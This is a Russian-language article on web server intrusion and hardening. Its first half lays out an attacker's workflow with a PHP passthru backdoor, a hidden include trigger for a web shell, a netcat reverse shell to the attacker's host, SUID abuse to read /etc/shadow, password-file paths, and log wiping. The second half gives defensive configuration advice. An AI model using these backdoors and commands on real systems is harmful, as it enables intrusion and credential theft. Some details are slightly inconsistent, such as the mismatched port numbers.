Введение в Основные моменты взлома и защиты сервера.
Тэги:

В этой статье мы расскажем об основных моментах взлома/защиты веб серверов.О методах
противодействия взломщикам. Но для того, чтобы понять как и что нужно защищать подробно
расскажем о том, как мыслит и что делает взломщик. Что он ищет и к чему стремится, на что он
обращает внимание, какие программы/утилиты использует...Расскажем как можно защитить веб
сервер, дадим много полезных советов. Заложим те минимальные знания, ту основу которая
должна быть у каждого администратора и "продвинутого" пользователя.

Для начала нужно ответить на главный вопрос - "Для чего же взламывают сервера???"
Целей взлома может быть очень много, но подводя их под определённые категории можно выявить:

- плацдарм для дальнейших действий
- взлом в коммерческих целях
- для души

Вот, скорее всего это и есть те цели, ради которых взламывают сервера, останавливаться на
этом не буду, так как думаю, что пункты не требуют их подробного рассмотрения.

|"Разновидности хакеров"|

Black hat — черный хакер, кража приватной информации и др.
White hat - белый хакер, отличный программист и эксперт по безопасности, занимается повышением
безопасность компьютерных систем.
Grey hat - серый хакер, занимается и тем и тем.
Script kiddie - человек мало понимающий в защите информации использующий чужие эксплоиты, "девиз" -
чем больше тем лучше.

ВЗЛОМ:
Описанное мной далее - это один из вариантов того, как будет действовать взломщик...

Перед каждым взломом, скорее всего взломщик для начала найдёт рабочие прокси сервера,
для этого он может использовать такие сайты как:
void.ru
antichat.ru/proxy
Либо использовать свои прокси сервера.После нахождения живого прокси, взломщик проверит
его в таком сервисе как ip.xss.ru.И если всё в порядке, то примется за дело.

|Процесс поиска жертвы|

Для поиска жертвы скрипт кидди могут использовать найденные недавно уязвимости, и с
помощью поисковиков (ya.ru, google.ru) искать уязвимые сервера. Этот "способ"
в плотную рассматривать не буду, так как всё сводится к простому поиску жертв и об
этом сказано уже очень много.

|Исследование сервера|

Предположим, что у взломщика имеется сервер который он хочет взломать. Для того, чтобы
это сделать он может для начала:

(-1) Обследовать сайт на наличие каких-то скиптов (если они будут найдены то поискать
уязвимости этих скриптов)
Если данный пункт оказался не результативным, то взломщик может прибегнуть к
альтернативным вариантам инвентаризации сервера, например к таким как:
(-2) использование сервиса на сайте domainsdb.net.С помощью этого сервиса взломщик
узнает о том, какие ещё сайты хостятся на сервере который он собирается взломать.
После получения списка, последует тот же путь, что и в пункте 1, но процент нахождения
уязвимого скрипта естественно увеличивается.
(-3) Если не 1/2 пункт не сработали, то взломщик может прибегнуть к сканерам. Например
таким как Xspider,..
(-4) Если все пункты не сработали, то взломщик может просканировать сервер сканером
nmap, и если будут найдены какие-либо демоны, на которые есть ремоут эксплоиты он попробует
их (о сканере nmap, и о эксплоитах подробнее расскажу позже).

В нашем случае результат исследования сервера будет положительным, т.е взломщик найдёт
что нужно, и получит веб шелл (веб шелл - скрипт с помощью которого осуществляется удалённое
управление сервером, т.е выполнение команд, операций с файлами).
Получив веб шелл на 1 сайте, у взломщика будут текущие права того пользователя веб сайта на котором
лежит веб шелл.Но часто бывает так что закачав на сайт веб шелл права взломщика
становятся либо www, либо apache, конечно это очень редкое явление зависящее от настройки
сервера и естественно не отвечающее должным условиям безопасности сервера.

|Закрепление в системе(веб уровень)|

Для того, чтобы закрепиться в системе после получения веб шела, взломщик может
воспользоваться скриптами (r57shell, nstview) либо "протроянит php/cgi скрипты",
(-1) например, так:

Code
<?
$cmd = @$_GET['cmd'];
if ($cmd)
{
passthru($cmd);
exit;
}
?>

В данном примере, взломщик ставит этот код в начало php скрипта находящегося на сервере,
сохраняет. И обратившись к нему через браузер: target.com/script.php?cmd=ls -al
где: target.com - "жертва", script.php - протрояненый скрипт, cmd параметр из кода,
ls -al - команда. Таким образом у него будет возможность выполнения команд на сервере
через скрипт.
(-2) Если взломщик хочет чтобы веб шелл не легко было засечь он может
воспользоваться скриптом такого содержания:

Code
<? if($var==1) {include("путь до скрипта");} ?>

Где: if($var==1) если переменная var = 1, то запускается файл, ("путь до скрипта") - сюда
вписывается полный путь до веб шела.
С этим скриптом он сделает тоже, что и со скриптом данным мною раньше, просто поставит
его код, в начало php скрипта, и обратившись к нему через браузер так:
target.com/file.php&var=1
запустится файл веб шела.Т.е получаем следующее: взломщик обратился не по адресу веб
шела, а по адресу "доверительного" php скрипта, это снизит подозрение на то что на
сервере находится веб шелл.
В том случае, если на сервере включена опция safe mode, взломщик сможет её обойти, но
реализация выполнение команд в этом случае неудобна, поэтому, скорее всего неопытный
взломщик просто забудет о вашем сервере.

|После закрепления на веб уровне|

После получения веб шела на сервере, взломщик либо остановится на простом дефейсе, либо
пойдёт дальше для получения более значительных привилеги.Рассмотрим второй путь, так
как про первый и говорить нечего.
Чаще используемый алгоритм определения сервера под *nix выглядит примерно так:

(-1) Для начала последует ввод команды uname -a, таким образом, взломщик получит данные о
ядре вашего сервера (т.е его версию).После определения версии если она будет достаточно
стара предположим 2.4.20, он попробует запустить эксплоит.Эксплоит - программа
эксплуатирующая какую-либо уязвимость (например, такие эксплоиты как mrmap, do_brk...).
В приведённом мною примере эксплоиты нужны для получения локал рут шела.Требования по
их запуску заключаются в следующем:

- должен быть доступ к терминалу(консоли)
- запуск эксплоита должен происходить со взламываемого сервера

(Конечно, есть и такие как mremap_pte.c, его можно переписать таким образом что его можно
будет запускать и с помощью веб шела).
Дак вот мы на том моменте, когда взломщик хочет использовать ядерные эксплоиты.
для того, чтобы получить доступ к терминалу ему нужно будет использовать так называемый
бинд шелл (программа или скрипт с помощью которого откроется определённый порт на сервере)
бинд шелл может входить в комплект с веб шелом (например, как в nstview, r57shell).
Скорее всего чтобы не подключаться к серверу лишний раз взломщик просканирует открытые
порты сервера, если тот порт на который он "повесил" бинд шелл числится в этом списке то
он с помощью программы-клиента подключится к этому порту с привилегиями, с которыми он
запустил бинд шелл.Далее скачивает эксплоит (wget, curl) компилит и запускает.После
незамедлительно (если эксплоит прошёл) получает полноценный рут шелл.Дальше взломщик
скорее всего протроянит, либо установит в систему руткит (программа которая повиснет на
определённом порту, обратившись к которому взломщик будет получать рут шелл).После запуска
эксплоита и получения привилегий 0 пользователя взломщик затрёт логи (либо в ручную либо
воспользовавшись лог вайпером) следующие действия можно не рассматривать так как спектр
применения рут акаунта очень широк.

(-2) Если ядерные эксплоиты не дали нужного эффекта (рута), то взломщик попробует
просканировать сервер на наличие других сервисов (например, сканером nmap часто он по
дефлоту установлен на сервере).Сканер может быть запущен с такими опциями:

nmap -vv -sT -sV -P0 -O -oN rezultat.txt wwwtarget.com

Такие опции используются, если взломщик сканирует с взламываемого сервера, если сканирует
от себя то скорее всего не будет использовать этот метод так как опция -sT конект скан,
наделает слишком много "шума" и пополнит логи сервера, хотя и сканирование не является
незаконным деянием, но всё же взломщик, скорее всего не будет привлекать лишнего внимания.
Разберёмся в опциях запуска:

nmap - запуск сканера
-vv - 2-ой эффект, получение версий демонов/сервисов
-sT - метод сканирования (конект скан)
-P0 - не пинговать сервер при сканировании
-O - определение удалённой ОС
-oN rezultat.txt - запись результатов в файл rezultat.txt
wwwtarget.com - имя/ip хоста для сканирования

Предположим, взломщик получил вот такой результат:

PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.2.9
22/tcp open ssh OpenSSH 4.0p1 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/4.4.1)
137/tcp closed netbios-ns
143/tcp open imap Cyrus IMAP4 server 2.2.12
445/tcp closed microsoft-ds
4000/tcp open remoteanything?

Думаю тут всё ясно...
После того, как у него имеются данные о версиях демонов(например ProFTPD 1.2.9), он попробует
найти на них эксплоиты(например на таких ресурсах как security.nnov.ru и др.), при удачном
исходе поисков, опять же последует такие же действия, как и в пункте 1.

(-3) Если доступ был закрыт(бинд порта не получился так как фаервол блочил порт), он попробует
сделать бэк конект (конечно не на свой адрес.. хотя бывают и такие:).
Бэк конект - это подключение удалённой машины к заданному в опциях программы (к примеру - net
cat) серверу.
Для установки такого соединения нужно чтобы и на стороне сервера и на стороне клиента (т.е того
компьютера куда будет подключаться удалённый сервер) была установлена программа net cat, или
присутствовал скрипт в с функцией бэк конекта.
Для начала он запустит неткат на своём сервере:

nc -vv -l -p6666
теперь net cat слушает порт 5546 и ждёт к нему подключений.

После запустит его на удалённом сервере с помощью встроенных функций nstview, либо с
помощью net cat если он есть на сервере:

nc ip adress 6666

После этого произойдёт подключение к серверу взломщика и у него будет возможность выполнения
команд от имени сервера.
Опять же если это получится, будет произведены действия, описанные в пункте
1 либо 2.

(-4) Если же использование эксплоитов не принесло желаемых результатов, взломщик будет
искать обходные пути, или притаится и будет ждать выхода новых эксплоитов.Либо попробует
найти важную информацию, такую как пароли и др.
Рассмотрим к чему и как можно найти пароли/файлы конфигурации и др. имея только веб
шелл на сервере:

> поиск файлов конфигурации (к примеру apache - /usr/local/apache/pwd)

> поиск файлов паролей:

- etc/passwd. Проверка его на чтение, и если пароли не оттенены в etc/shadow, то в
последствии их чтение и расшифровка.При удачном раскладе будут получены
пароли в DES дальше ему останется только расшифровать пароли, и если доступ к 23 порту
разрешён под рутом то система под полным контролем взломщика.

- MySQL.Поиск паролей от MySQL сервера.Взломщик, может предположить что на сервере установлен
phpMyAdmin и для того, чтобы найти эти пароли взломщик скорее всего использует команду:
locate config.inc.php
либо
locate config.default.php
где locate - команда поиска, а config* - файл для поиска.После нахождения этого файла
(если на сервере установлен phpMyAdmin, то конфиг так и будет называться если какой-то
альтернативный, то по-другому).Можно попробовать поиск по маске файла: locate *.cfg.
Если файл конфигурации будет найден, то взломщик прочитает его, в этом файле пароли в
открытом виде на MySQL сервер:

$cfg['Servers'][$i]['auth_type'] = 'config'; // Authentication method
$cfg['Servers'][$i]['user'] = 'root'; // MySQL user
$cfg['Servers'][$i]['password'] = 'root'; // MySQL password (only needed

После этого он обратится
через браузер к SQL менеджеру, и введя полученный логин и пароль, сможет прочитать, изменить, а также
выполнить другие операции с файлами в (если на это имеется доступ) БД.Если взломщику не
будет известно расположение phpMyAdmin, то это опять же легко узнать уже с помощью
известной нам команды locate (т.е locate phpMyAdmin).
В том случае, если на сервере phpMyAdmin закрыт с помощью файла .htpasswd, либо просто
не получится найти MySQL менеджер, взломщик закачает альтернативный.

- Поиск файлов паролей, таких как .htpasswd, passwd (опять же производится путём locate'а)
locate *.htpasswd
Либо взломщик будет искать эти пароли в ручную...
В этих файлах могут храниться, либо пароли на сервер (какого-то из пользователей), либо
пароли на админки на сайтах(также новости и др), в таком виде:

admin:2m84advre2a0p

В этом случае имеем:
admin - логин
2m84advre2a0p - хэш пароля в DES (расшифровывается с помощью JTR)

> Поиск бэкапа.Бэкап - резервная копия данных, очень частно администраторы серверов
используют этот метод, поэтому можно найти эти файлы: locate backup.В бэкапе может
быть всё что угодно, но всё же эти данные часто имеют определённую ценность.

> Поиск суидных файлов.С помощью суидного файла можно выполнить команда от имени
администратора сервера, для того, чтобы найти суидные файлы взломщик будет использовать
команды:
locate *.pl|grep suidperl
либо
find / ( -perm -02000 -o -perm -04000 ) -ls
Если взломщик найдёт какие-то файлы, то он попробует вписать в суидный бинарник
например следующее:

system("cat /etc/shadow");

Т.е выведет на экран содержание /etc/shadow, как известно на это имеет право рут.После
получения файла хэшей останется только расшифровать их.

> Так же может попробовать найти веб шелы, и др. т.е :
locate remview.php.

________________________________
Дополнительная информация
________________________________

Пароли в разных ОС:

A/UX 3.0s - /tcb/files/auth/?/*
FreeBSD 4.3 - /etc/master.passwd
ConvexOS 10 - /etc/shadpw
ConvexOS 11 - /etc/shadow
DG/UX - /etc/tcb/aa/user/
HP-UX - /.secure/etc/passwd
IRIX 5 - /etc/shadow
Linux 1.1 - /etc/shadow
SunOS 4.1 - /etc/security/passwd.adjunct
SunOS 5.0 - /etc/shadow
UNICOS - /etc/udb
Win 95/98 - c:windows*.pwl
AIX 3 - /etc/security/passwd или /tcb/auth/files/первый символ логина/логин
BSD4.3-Reno - /etc/master.passwd
EP/IX - /etc/shadow
OSF/1 - /etc/passwd[.dir|.pag]
SCO Unix #.2.x - /tcb/auth/files/первый символ логина/логин
System V Release 4.0 - /etc/shadow
System V Release 4.2 - /etc/security/* database
Ultrix 4 - /etc/auth[.dir|.pag]

Пароли в различных серверах:

Samba - /etc/samba/smbpasswd
Apache - /usr/local/apache/pwd

Основные виды хэшей:

e9a7656f277ba63618e20628fefad321 - md5
14FB05A326C16B2B - MySQL
$l$12345678$6KdMANluuNMmoxB4v4SyQ0 - MD5 (Unix)
9ABB8717D8B02F4181274D347622C6927F82725C - SHA-1
5m84advre2a0p - DES

ЗАЩИТА:

Итак, мы рассказали о некоторых моментах взлома сервера.Для того, чтобы понять как лучше
защитить свой сервер ещё раз вспомним написанное выше и подведём итог.Из всего
вышеизложенного можно вывести несколько правил/условий/советов:

- использование только проверенных скриптов, обновление их версий
- чем меньше сайтов на сервере, тем меньше вероятность взлома через веб уязвимости
- удаление копирайта скриптов/форумов и др
- следить за логами сервера
- запрет на исполнение консольных команд простым пользователям
- установка chmod'ов на важные каталоги/файлы
- сложные и разные пароли везде! (MySQL, etc/passwd, ftp, и др)
- жёсткие правила межсетевого экрана

Вот и всё.Самые важные правила соблюдая которые процентная вероятность взлома вашего
сервера стала намного меньше, нежели раньше.

Теперь приступим непосредственно к практическим аспектам защиты некоторых разновидностей
серверов, демонов, и др.

-[Лог файлы]:

Для того, чтобы обнаружить на своём сервере веб шелл, либо уязвимый скрипт можно воспользоваться
скриптом под названием Checklog (автор rel4nium, wwwrel.unl0ck.net/art/d/checklog.rar) этот скрипт
предназначен для проверки логов сервера на предмет пребывания веб шелов, выполнения команд на
сервере.Очень прост в обращении, запустив его вы получите резульатат в удобной форме отчёта о
сканировании лог файла.Скрипт ищет обращение к шелам, ведёт поиск по названиям веб шеллов и
самое главное по http запросам(методом пост) используемых в веб шелах что повышает процент
вероятности нахождения шелов.

-[Пароли]:

Установка сложных паролей, так как хеширование паролей не есть та должная степень безопасности
которой должен обладать пароль. Подобрать буквенный пароль можно в считанные минуты. Длинный,
с использованием букв, цифр и спец символов - именно такой должен быть пароль + везде разные
пароли, на админки и др можно ставить русские, так как большая часть брутфорсов подбирает
только латинские пароли.

-[Safe Mode]:

Safe Mode - это специальная директива в PHP которая ограничивает права скриптов на выполнение
критичных для безопасности системы функций.Для того, чтобы отпугнуть скрипт-кидди нужно
сделать следующие преобразования в файле php.ini:
safe_mode = On
safe_mode_gid = On
sql.safe_mode = On

-[Защита сервера Samba]:

Для создания пользователя в samba используем команду:
adduser -s /bin/false user
passwd pass
В данном случае adduser - команда создания пользователя, ключ -s устанавливает обалочку
для пользователя, у нас это /bin/false, т.е эта оболочка не работает с консолью, и у кого
она будет установлена в качестве параметра в ключе -s, у того нет прав для выполнения
консольных команд, user - имя пользователя.passwd - устанавливает пароль пользователя,
в нашем случае это pass.После создания пользователей нужно установить на файл паролей
chmod таким образом:

chmod 600 /etc/samba/smbpasswd

Теперь этот файл не посылам прочитать простому пользователю.

-[Защита Apache]:

После настройки сервера нужно расставить чмоды на файлы:
chmod 511 /usr/sbin/httpd
chmod 700 /etc/httpd/conf/
chmod 700 /var/log/httpd /
Но конечно эти каталоги могут менятся в зависимости от настройки сервера.

-[Защита Pro-ftpd]:

нужно в файле /etc/proftpd.conf, в директиве DefaultRoot указать символ ~ (т.е домашний
каталог пользователя).После этого пользователи ftp сервера будут видеть только свой
домашний каталог и ничего кроме него:

# Корневым для пользователя будет его домашний каталог
DefaultRoot "~"

После нужно установить опцию RequireValidShell в состояние on

-[MySQL]:

1) chmod +t /var/lib/mysql - устанавливаем липкий бит на /var/lib/mysql, чтобы нельзя было
удалить оттуда файлы.

-[Профилактические меры]:

+Для профилактики защищённости сервера можно использовать такие сканеры как Nessus, nmap.
+Как бы это не банально звучало - обновление версий демонов/сервисов и обновление ядра
+Установка и обновление антивируса (например KAV) и руткит хантера (например Chkrootkit)
+Слежение за логами сервера

Это и есть некоторые практические меры, соблюдая которые вы отпугнёте не очень опытных
взломщиков.

Думаю, что эта статья помогла Вам понять, как мыслит взломщик, что он будет искать на
вашем сервере и какие меры (с Вашей стороны) нужно принять чтобы пресечь попытки взлома.
Конечно меры эти самые минемальные и для того, чтобы быть увереным, что сервер не взломают
нужно подходить к конкретному серверу со своей стороны.Поэтому если Вам потребуется
качественная и надёжная защита сервера обращайтесь к нам.
{Использованный материал неизвестного автора}:

Ресурсы:

- wwwvoid.ru

- http://ngh.void.ru

- wwwrel.unl0ck.net

- http://hack-expo.void.ru

- wwwru24-team.net

- http://hack-expo.void.ru/groups/ist/ist.html

- wwwadz.void.ru

- wwwkodsweb.ru

- wwwlbyte.ru

Книги:

- Д.Н Колиснеченко - Linux сервер своими руками

Программы/Утилиты/Скрипты:

- wwwinsecure.org - nmap
- wwwnst.void.ru - nstwiev
- Net Cat